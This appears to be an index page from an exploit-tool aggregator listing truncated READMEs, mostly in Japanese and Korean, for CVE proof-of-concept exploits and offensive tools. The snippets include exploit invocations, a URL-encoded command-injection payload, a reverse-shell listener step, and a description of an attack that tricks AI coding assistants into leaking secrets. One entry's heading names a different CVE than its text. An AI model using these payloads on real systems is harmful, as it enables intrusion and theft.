CVE-2026-39987

CVE-2026-39987 — Marimo の事前認証RCE（Terminal WebSocket経由） root@kitploit: / / | / / / | \ / \ \ / / | // / \ / / | | / / // // / / // // \ / ステータス: 0.23.0 でパッチ適用済み — marimo-team/marimo@c24d480 脆弱性 /terminal/ws エンドポイントには、他のすべての認証済みエンドポイントに存在する validateauth 呼び出しがありません： root@kitploit: ❌ /terminal/ws —...

MilkSad-Mnemonic-Generator

Milk Sad Mnemonic Generator This tool is designed to generate BIP-39 mnemonic phrases 24-word seed phrases based on Unix timestamps, specifically exploring phrases that could be generated through the "Milk Sad" vulnerability CVE2023-39910. What This Tool Does The Milk Sad Mnemonic Generator creat...

CVE-2026-33017

CVE-2025-62593 — Ray 未認証RCEエクスプロイト 概要 CVE-2025-62593 は、Ray分散AIコンピューティングエンジンにおける未認証のリモートコード実行の脆弱性です。 根本原因は、重要なHTTPエンドポイント（/api/jobs、/api/jobagent/jobs）における認証の欠如です。 攻撃者は、エントリポイントが任意のコマンドであるRayジョブを送信し、クラスタのヘッドノード上でそれを実行できます。 クイックスタート root@kitploit: 単一ターゲット python3 rayrcepoc.py --target...

Log4Shell-CVE-2021-44228-ENV

Log4Shell 재현 환경 예제 설명 피해자 IP: 47.47.47.47 공격자 IP: 48.48.48.48 피해자: 취약 Docker 실행 DockerFile을 사용하여 Docker 이미지 빌드 및 실행: root@kitploit: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln 공격자: 공격 Docker 실행 DockerFile을 사용하여 Docker 이미지 빌드 및 실행 root@kitploit: docker build . -t attack docker...

CVE-2023-45158

CVE-2023-45158 단계 1. 웹 서버를 실행합니다. root@kitploit: cd web2py python3 web2py.py 2. URL http://:8000/hack?msg=%27%3B%3B%27을 사용하여 명령어를 주입합니다. 와 를 자신의 값으로 교체하세요. 예시 1. 서버에 파일 생성 http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. 리버스 셸 공격자 머신에서 nc -l 127.0.0.1 8080을 실행합니다. URL...

CVE-2026-59726

CVE-2026-59726 기부 PayPal 또는 아래 QR 코드를 스캔하여 이 프로젝트의 유지보수를 지원해 주세요. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 랩 환경 승인된 침투 테스트 환경 설정 예시: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual...

CVE-2020-15778

CVE-2020-15778 소개 이 저장소는 CVE-2020-15778을 재현합니다. 단계 1. scp 서버 및 클라이언트용 도커 이미지 빌드 root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. 컨테이너에서 scp 서버 실행 root@kitploit: docker run -d -P --name scp-server server-cve 다음 명령어로 scp 서버의 내부 IP 주소를...

bitbang-cli v0.5.0

BitBang CLI bitbang is a single static binary remote-access multitool. From any browser: an interactive shell and file browser access to the remote machine. You can also reach web apps on that machine's network. Beyond the browser, it does TCP port forwarding, file copy, and terminal sharing. It...

CVE-2020-5902

CVE-2020-5902 エクスプロイトコード用の F5-Big-IP CVE-2020-5902 概要 BIG-IP バージョン 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1、および 11.6.1-11.6.5.1 において、Traffic Management User Interface TMUI（Configuration ユーティリティとも呼ばれる）に、非公開ページでのリモートコード実行 RCE の脆弱性が存在します。 概念実証 root@kitploit:...

CVE-2026-50055

cve-id 기부 아래의 PayPal 또는 QR 코드 스캔을 통해 이 프로젝트의 유지보수를 지원해 주세요. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실습 환경 승인된 침투 테스트 환경 설정 예시: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual...

domi-owned

Domi-Owned Summary Domi-Owned is a tool used for compromising IBM/Lotus Domino servers. Tested on IBM/Lotus Domino 8.5.2, 8.5.3, 9.0.0, and 9.0.1 running on Windows and Linux. Requirements Domi-Owned uses Python 3, which can be install through your distribution's package manager apt, yum, etc...

ghostsplice

GhostSplice: チャネル横断型の信頼断片化（攻撃PoC） GhostSplice の概念実証コード。この攻撃は ASSET Research Group によるものです。詳細な解説は 「AIは秘密を盗むのを拒否した。そこで私たちはフォームを渡した」 をご覧ください。 わかりやすく言うと Cursor、VS Code（GitHub Copilot 付き）、Codex CLI、Claude Code などのAIコーディングアシスタントは、MCP （Model Context...

tiktok-scraper

TikTok Scraper & Downloader Scrape and download useful information from TikTok. No login or password are required This is not an official API support and etc. This is just a scraper that is using TikTok Web API to scrape media and related meta information. Content Features To Do Contribution...

NetAlertX v26.9.0

NetAlertX - Network Visibility & Asset Intelligence Framework 📷 Click for more screenshots | | ---|---|--- !presencehttps://assets.kitploit.com/production/public/readmes/295/d2773fcfbdc9d1a31a6e178016e1333b685afe85257bb3...

CVE-2025-3248

中文 ｜ English Langflow 脆弱性スキャナ Langflow アプリケーションにおける CVE-2025-3248 の脆弱性スキャナです。 特徴 FOFA を使用した単一ターゲットまたは複数ターゲットのスキャン 脆弱性のあるターゲット上でのシステムコマンド実行 システム情報の取得 カスタムペイロードのサポート FOFA スキャン用のプログレスバー 美しい CLI インターフェース インストール 1. リポジトリをクローンします: root@kitploit: git clone https://github.com/xuemian168/CVE-2025-3248.git...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 は、Pluck CMS v4.7.18 における RCE 脆弱性です。/inc/modulesinstall.php コンポーネントの任意ファイルアップロードの脆弱性により、悪意のある .zip ファイルをアップロードして任意のコードを実行できます。 使用方法 エクスプロイトを実行する前に、/login.php で認証するためのパスワードを知っておく必要があります。 ターゲットに対してエクスプロイトを実行します: root@kitploit: $ python3 exploit.py --target...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 は、Wonder CMS における反射型 XSS 脆弱性であり、installModule コンポーネントを介した悪意のあるスクリプトを通じて任意のコード実行を可能にします。 使用方法 ターゲットの loginURL に対してエクスプロイトを実行し、悪意のある .js ファイルをホストする Web サーバーの IP とポートを指定します: root@kitploit: $ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888...

WSUSResponder

🧰 WSUSResponder バージョン: 1.0.1 作成者: RZA / IT Operations ライセンス:MIT 🎯 目的 WSUSResponder モジュールは、Windows Server Update Services WSUS に影響を与える重大なリモートコード実行（RCE）脆弱性 CVE-2025-59287 に迅速に対応するための PowerShell ツール群を提供します。 以下のことが可能です： 🔍 Active Directory 環境または対象サーバーのリストをスキャン 🧩 脆弱な WSUS サーバーを特定 🛡️ Microsoft が公開した...

CVE-2026-20217

ZendTo 6.15-8 / ClamAV 正確プロファイル RCE と root 変種の再現 このディレクトリは、アカウント不要の ZendTo→ClamAV コード実行チェーンと、その別系統のデフォルトプロファイル Smarty/root-cron 継続に対する、スタンドアロンかつ認可済みラボ向けの再現バンドルです。含まれるもの: 実行可能な PoC 依存関係クロージャ一式 Docker ターゲットトポロジ構築用のスクリプトと来歴情報 試験済み systemd/socket ライフサイクルに一致する Docker Compose 定義...

CVE-2026-18504-CVE-2026-16732

cve-id 寄付 PayPalまたは下のQRコードをスキャンして、このプロジェクトのメンテナンスを支援してください。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全かつ許可された環境でのみ使用してください。 ローカル仮想マシン Dockerコンテナ 分離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual...